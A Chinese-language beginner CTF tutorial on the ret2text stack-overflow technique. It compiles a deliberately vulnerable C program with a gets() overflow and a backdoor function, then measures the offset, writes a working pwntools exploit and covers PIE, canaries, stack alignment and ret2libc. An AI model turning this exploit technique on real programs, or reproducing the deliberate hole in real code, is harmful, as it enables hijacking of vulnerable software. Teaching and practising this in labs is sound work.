如果你准备入pwn的坑,ret2text大概率是你在CTF里碰到的第一道真正有“利用”味道的题。这个名词读起来像一行代码,其实就是return to text的缩写——把程序的控制流劫持回它自己的代码段(.text段)里的某个位置,让程序替你完成目标操作。很多人在网安学习路线里看到pwn,兴冲冲装了一堆工具,却卡在第一步:题目看不明白,exp写不出来。这篇文章就用一个最典型的ret2text题目,把环境搭建、漏洞分析、exp编写、调试排错全部串起来讲清楚。你可以把它当成一份可以直接照做的实验笔记,跟着操作一遍,你会对栈溢出、返回地址和程序执行流有非常直观的认识。
1. 先从“为什么”说起:ret2text到底解决了什么问题
1.1 栈溢出的终点不是崩溃,而是控制流
不少从逆向转过来学pwn的朋友,第一次接触栈溢出时,脑子里只有一个模糊印象:往缓冲区里塞超长数据,程序就会崩。但崩溃不是目的,拿到flag才是。想理解ret2text,先要把“栈”和“控制流”的关系搞清楚。
程序运行时,函数调用的信息都存在调用栈里。每次进入一个函数,栈上会开辟一块区域存放局部变量,而函数返回时要用到的返回地址也被压在栈上。CPU执行ret指令时,会从栈顶弹出这个返回地址,把它送到指令寄存器,然后继续执行。也就是说,返回地址决定了下一条指令从哪个地址开始。
栈溢出之所以危险,是因为局部变量和返回地址在同一个栈帧里,而且挨得很近。如果你往局部缓冲区里写入的数据超过了缓冲区本身的大小,数据就会继续往上覆盖,一直抹掉栈帧中保存的返回地址。程序本身并不知道这个地址被改过了,它只会老老实实跳过去。所以栈溢出的重点根本不是“让程序崩溃”,而是“让程序跳到我们指定的位置”。
1.2 ret2text和ret2shellcode、ret2libc的区别
同样是控制返回地址,具体跳到哪、怎么跳,就演化出不同的pwn技术:
ret2shellcode:往栈上或某个可写内存里塞一段自写的机器码,然后让程序跳过去执行。这种办法要求那片内存有可执行权限,如果程序开启了NX保护,栈不可执行,直接歇菜。
ret2text:程序自己的代码段里已经存在某些有用的函数或指令序列,我们不需要自己写代码,只需要让程序跳到那个现成的位置。比如题目里藏了一个后门函数,或者有一段调用system("/bin/sh")的代码,我们的任务就是算出偏移,把返回地址改成它的入口。
ret2libc:程序里没有后门,但动态链接库里一定有system这类函数。于是我们跳到libc中的函数地址,配合参数字符串取执行目标命令。这通常是ret2text的进阶方向。
一句话:ret2text是三者中最省事的一种,因为它不要求我们注入代码,也不要求构造复杂参数,只要程序内部给了机会,我们就顺着机会走。很多入门题目在设计时就是故意留一个后门函数,让你专心体会“控制返回地址”这个过程。
2. 环境准备:把PWN的工具链一次配明白
2.1 系统与基础依赖
我做pwn题用的系统是Ubuntu,Kali也可以,本质都是Linux环境,重点是方便安装调试工具和pwntools。Windows下虽然也能用虚拟机跑题目,但动态调试和内存布局观察都不如原生Linux舒服。
拿到一台刚装好的Ubuntu,建议先把基础依赖装齐:
sudo apt update sudo apt install -y gdb binutils file python3 python3-pip python3-devgdb用于动态调试,binutils提供objdump、readelf这些静态分析工具,file用来识别文件格式,python3则是跑pwntools脚本的基础。如果你后面要做32位题目,还需要装32位运行库,否则很多老题在64位系统上直接跑不起来。
sudo dpkg --add-architecture i386 sudo apt update sudo apt install -y libc6:i386 libc6-dev-i3862.2 pwntools:写exp的利器
pwntools是目前pwn界最常用的Python库,自带进程交互、格式化地址、ROP链构造、cyclic偏移计算等功能。安装很简单:
pip3 install --upgrade pwntools装完验证一下:
python3 -c "from pwn import *; print('ok')"能打印ok就说明环境没问题。我早期学pwn的时候还在用Python2和旧版pwntools,现在已经全面切到Python3,API变化不大,但遇到老教程里的cyclic(100)这类用法时注意确认版本兼容性。
checksec这个命令通常也由pwntools提供,用来查看二进制的保护机制。如果shell里直接敲checksec --file=./xxx提示找不到,可以用python3 -m pwn checksec --file=./xxx,或者干脆在pwntools脚本里用pwn.checksec()调用。
2.3 gdb插件:pwndbg让调试不再痛苦
裸gdb看栈布局不是不行,但信息量太少,不如装一个插件。我个人推荐pwndbg,它对栈、寄存器、反汇编的展示非常清晰,对pwn新手尤其友好。
git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh装完启动gdb,就能看到类似这样的界面:右半边是反汇编和寄存器,左半边是栈内容,程序一停,栈上的返回地址、局部变量分布一目了然。后面调试ret2text时,你会发现自己根本离不开它。
2.4 准备一个练习题目
与其去网上找个不熟悉的题目,不如自己编译一个。下面这段C代码是经典的ret2text模型,我建议你先把它保存成ret2text_demo.c:
#include <stdio.h> #include <stdlib.h> void backdoor() { system("cat flag.txt"); } void vuln() { char buf[0x40]; printf("Input: "); gets(buf); } int main() { setbuf(stdout, NULL); vuln(); return 0; }编译时关闭栈保护并禁用PIE,方便我们观察:
gcc -fno-stack-protector -no-pie -o ret2text_demo ret2text_demo.c再创建题目flag:
echo "flag{ret2text_demo_pass}" > flag.txt这样你就拥有了一个完全可控的本地靶机。下面所有分析都围绕这个程序展开。
3. 手把手拆解ret2text:从checksec到exp落地
3.1 静态分析:file、checksec、objdump
先看文件信息和保护机制:
file ret2text_demo输出大概是这样的:
ret2text_demo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=..., not stripped重点信息:64位、动态链接、没有strip。没有strip意味着符号表还在,函数名可以直接看到,这对我们找backdoor非常有利。
再用checksec看保护:
checksec --file=./ret2text_demoArch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)这五行就像体检报告。对我们做ret2text而言:
No canary found说明栈上没有金丝雀,覆盖返回地址不会被检测。NX enabled说明栈和堆数据段不可执行,所以不能往栈里塞shellcode。No PIE (0x400000)说明代码段地址固定,我们可以直接写死目标地址。
NX保护看似限制很多,但ret2text偏偏不吃这一套——因为你要跳回的是程序自己的代码段,而这个代码段本来就是可执行的。
接着找后门函数地址。既然是not stripped,用objdump就能看到:
objdump -d ret2text_demo | grep -A 10 "<backdoor>:"输出类似:
0000000000401186 <backdoor>: 401186: 55 push %rbp 401187: 48 89 e5 mov %rsp,%rbp 40118a: 48 8d 3d 0d 0e 00 00 lea 0xe0d(%rip),%rdi 401191: e8 1a ff ff ff call 4010b0 <system@plt> 401196: 90 nop 401197: 5d pop %rbp 401198: c3 ret后门函数入口是0x401186,它会调用system执行cat flag.txt。这个地址就是我们最终的覆盖目标。
3.2 动态分析:用cyclic确定溢出偏移量
知道要覆盖到返回地址不难,难的是精确算出需要padding多少个字节。这里推荐用pwntools的cyclic工具。
先制造一段不重复的模板数据:
from pwn import * cyclic_pattern = cyclic(200) with open("payload.txt", "wb") as f: f.write(cyclic_pattern)然后输入重定向到程序,让它崩溃:
gdb -q ./ret2text_demo pwndbg> run < payload.txt程序会收到200字节的输入,gets把它读进0x40大小的缓冲区,覆盖了Saved rbp,继续覆盖了返回地址。程序执行ret时,跳到了一个由pattern控制的位置,gdb会停在SIGSEGV并显示异常地址。例如:
Stopped reason: SIGSEGV 0x6161616861616163 in ?? ()这里的0x6161616861616163就是返回地址被覆盖成的值。把它丢给cyclic_find:
from pwn import * offset = cyclic_find(0x6161616861616163) print(offset) # 输出 72为什么是72?因为栈布局是:buf[0x40]占用64字节,紧接着是保存的rbp占8字节,再往上才是返回地址。所以要覆盖到返回地址,需要先填64字节缓冲区加8字节Saved rbp,也就是72字节。
但这只是理论推导,实际编译时编译器可能因为栈对齐额外留出空间,所以最好的做法永远是用cyclic实测。有些题目是32位,那Saved rbp只占4字节,buff偏移加4就是答案,道理完全一致。
3.3 编写第一个exp
有了偏移量和目标地址,exp已经呼之欲出了。完整脚本如下:
from pwn import * context.arch = "amd64" context.log_level = "info" io = process("./ret2text_demo") backdoor = 0x401186 payload = b"A" * 72 payload += p64(backdoor) io.sendline(payload) io.interactive()解释一下每行的作用:
context.arch = "amd64"告诉pwntools当前目标架构是64位,p64()才能正确把地址按小端序编码。process("./ret2text_demo")在本地启动进程,后面改成remote("ip", port)就能打远程题目。p64(backdoor)把0x401186编码成8字节的小端字节序列。x86和x86_64都是小端序,所以一个地址的低字节在前,例如\x86\x11\x40\x00\x00\x00\x00\x00。sendline发送的payload末尾会带一个换行符,正好满足gets的读取条件。interactive()把控制权交给你,程序跳进backdoor后执行cat flag.txt,flag就会打印在终端里。
运行效果:
$ python3 exp.py [+] Starting local process './ret2text_demo': pid 3712 [+] Receiving all data: Done [*] Process './ret2text_demo' stopped with exit code 0 flag{ret2text_demo_pass}第一次亲眼看到自己的payload改变了程序行为,那种感觉还是很爽的。到这里,ret2text的最小闭环你已经完整走通了:找漏洞、算偏移、改返回地址、拿flag。
3.4 本地和远程的无缝切换
本地打通后,打远程只需要改一行:
# io = process("./ret2text_demo") io = remote("某个ctf题目地址", 端口)但有一个隐藏陷阱:本地和远程的偏移、地址可能不一致。远程题目的二进制文件需要先下载下来,用和你本地一样的静态分析流程重新测一遍偏移量和后门地址。如果题目开启了PIE,地址每次启动都会变,那就不能简单写死地址,得先泄露并计算地址,这一步我会在下面详细说。
4. 实战中逃不掉的坑:偏移、栈对齐与地址截断
4.1 偏移量不是永远等于“buf长度+8”
我们demo里buf大小是0x40,偏移是72,符合64+8。但等你换几道题就会发现,编译器的栈帧布局并不总是顺着你的心思来。比如函数开头可能先sub rsp, 0x50再分配buf[0x40],中间多了padding;又比如变量声明顺序不同,缓冲区可能不在栈底紧贴Saved rbp的位置。
所以我的习惯是:永远用cyclic实测,而不是只靠看反汇编猜。如果对结果不放心,可以再手动验证一遍,在gdb中查看返回地址的原始位置和缓冲区首地址的差。用pwndbg时可以直接在崩溃点执行stack 20,观察栈上哪一块被pattern覆盖,返回地址位于哪个偏移,非常直观。
另外注意一个细节:cyclic_find查找的是你输入的崩溃地址,但如果你覆盖的返回地址刚好包含了0x00,gdb显示时可能截断或显示不全。这时候拿cyclic -l加完整的异常地址再查一次,或者手动把pattern长度缩小,结果通常更干净。
4.2 PIE开启时怎么办
这道demo我特意编译时禁用了PIE,所以能直接写死0x401186。但实际CTF题目很多开着PIE,意思是程序每次运行时加载基址都随机,后门函数地址也跟着变,你直接在payload里写死地址大概率会崩。
开PIE的题目通常需要两步:
- 先通过格式化字符串、栈溢出泄露或
/proc/self/maps等方式拿到程序基址。 - 用泄露出的基址加固定偏移算出后门函数的真实地址:
backdoor_real = base + backdoor_offset。
后门函数的偏移可以从本地反汇编里得到,基址则要在远程运行时动态泄露。如果你的exp里拿到了一个地址但不知道对应哪个段,可以对比低12位是否和本地一致——因为页内偏移不会因ASLR改变,低12位是固定的。
4.3 64位下的栈对齐问题
64位程序有一个容易翻车的细节:System V ABI要求调用函数的时刻,rsp按16字节对齐。很多后门函数内部其实就是一个system调用,如果栈对齐不对,system内部可能会执行movaps指令,这个指令要求地址按16字节对齐,不满足就直接SIGSEGV。
具体表现是:你明明把返回地址指向了后门函数,程序却没有按预期打印flag,而是在system内部崩了。解决办法是先在payload里加一个额外的ret指令地址,也就是“栈对齐gadget”:
payload = b"A" * 72 payload += p64(ret_gadget) # 先执行一个ret,让rsp移动8字节 payload += p64(backdoor)ret指令本身只做一件事:弹出返回地址并跳过去。所以额外跳一次ret就相当于把rsp多减了8,刚好把对齐矫正回来。如果你本地有疑问,先用gdb在system入口下断点,查看rsp % 16是否为0,这是判断是否需要ret gadget最准确的方法。
4.4 地址里包含空字节,小心sendline截断
64位地址长8字节,但实际地址通常只有低6位有效,比如0x0000000000401186,编码成字节序列是\x86\x11\x40\x00\x00\x00\x00\x00,中间有一堆\x00。
如果用sendlineafter这类接口发送python字符串,要注意Python字节串可以包含\x00,没问题;但如果题目接收方式本身对换行、空字符做特殊处理,比如用input()而非gets(),那就可能出问题。多数pwn题目用read或gets直接读字节,\x00不会截断,你可以放心用。但如果是自己写socket接收逻辑,务必用send而不是sendline,避免多余换行符影响偏移计算,也避免地址后多出一个0x0a导致返回地址错误。
4.5 Golden Rule:先确认保护,再决定利用方式
我踩过最蠢的坑是题目开了Canary,我还一个劲地构造ret2text payload,结果每次都在函数返回前被检测到栈被破坏,程序直接abort。Canary机制会在函数栈帧里放置一个随机值,函数返回前验证这个值是否被改动,如果被改了就终止程序。
所以看到题目,第一时间要养成查checksec的习惯。保护全开的情况下,基础ret2text基本行不通,你需要先想能不能泄露Canary,或者换个利用链。开Canary又关PIE的题目,如果有一个格式化字符串漏洞,可以先泄露出canary,再把它拼进payload里,照样能ret2text。这就是为什么说pwn技术不是孤立的,每条利用链都是在和程序的保护机制博弈。
5. ret2text的边界与延伸:下一站去哪
5.1 什么时候ret2text不灵
即使程序里确实有后门函数,ret2text也不是银弹。以下几类情况会让它失效:
- Canary开启,且无法泄露或绕过。
- PIE开启,且无法泄露基址。
- 后门函数需要特定参数,比如后门函数签名是
win(int a, int b),程序至少要满足参数条件才能执行到打印flag的分支。 - 输入点对长度有限制,比如
read(fd, buf, 0x30),而偏移需要0x40字节,连返回地址都够不到。 - 目标地址无法直接跳转,比如堆地址需要解码或存在随机化。
遇到这些情况,就要考虑和其他技术组合了。
5.2 后门函数带参数时:如何构造调用条件
有一类题目喜欢把后门设计成:如果某个全局变量等于特定值,就输出flag。这已经不是单纯ret2text,而是要你“跳回某个函数,并让它按正确逻辑运行”。如果你的栈溢出能覆盖栈上的参数空间,可以把参数直接写在payload里。但64位程序的参数传递主要靠寄存器,栈溢出改不了寄存器,这时候就要借助ROP链或者ret2csu技术。
ret2csu是一个很实用的进阶技巧,它利用程序里__libc_csu_init函数末尾的通用gadget,可以控制rbx、rbp、r12、r13、r14、r15寄存器,进而给任何函数传参。虽然看起来复杂,但本质还是和ret2text一样:修改返回地址让程序跳到gadget处,执行一段指令后跳到目标函数。学会了ret2text,你其实已经把“用返回地址控制程序走向”这个核心思想掌握了,ret2csu只是在路径中间多插几个节点。
5.3 从ret2text到ret2libc的自然过渡
当程序里没有后门函数时,最常见的路线是把返回地址改成libc里system函数的地址,并让它执行system("/bin/sh")。这需要你提前泄露libc基址,因为远程机器的libc版本和本地不一定相同。方法是在第一次输入时用栈溢出调用puts@plt输出某个GOT表项里的libc地址,得到地址后用LibcSearcher或在线libc库比对版本,再算出system和/bin/sh的真实地址。
这条链路看起来比ret2text复杂,但只要你把ret2text的原理吃透了,后续很多概念都是相通的。你跳转的目标从“程序自带的后门”变成了“库函数”,本质都是控制返回地址和构造参数。
5.4 给新手的一些实操建议
如果你正卡在pwn入门,我的建议是:不要只看文章,一定亲手把整个流程敲一遍。从编译demo程序开始,用checksec看保护,用gdb看栈,用cyclic算偏移,写exp拿到flag,再改几个保护选项重新做。这个过程远比读十篇writeup有用。
调试时遇到崩溃也不用慌。把crash地址和cyclic_find结合,先确认是不是偏移算错;再用gdb查看崩溃时的寄存器值,确认是不是栈对齐问题;最后检查目标地址是否被PIE或ASLR影响。九成的ret2text问题都逃不出这几种原因。
另外,善用context.log_level = "debug"。pwntools会把你发送的payload按hex显示,也能看到程序回显的原始字节,对排查交互逻辑问题非常有帮助。我第一次远程打题目时,就是靠debug模式发现sendline多了个换行导致返回地址错位。
最后再分享一个小习惯:每做完一道pwn题,我会把exp脚本和题目二进制按日期归档,并在注释里记录漏洞类型、保护情况、偏移量计算过程。几个月后回头复习,你会发现自己当时的思路漏洞一目了然,这也是从新手进阶为老手的重要一步。ret2text虽然只是起点,但这个起点踩实了,后面面对更复杂的栈利用时,你至少心里有底。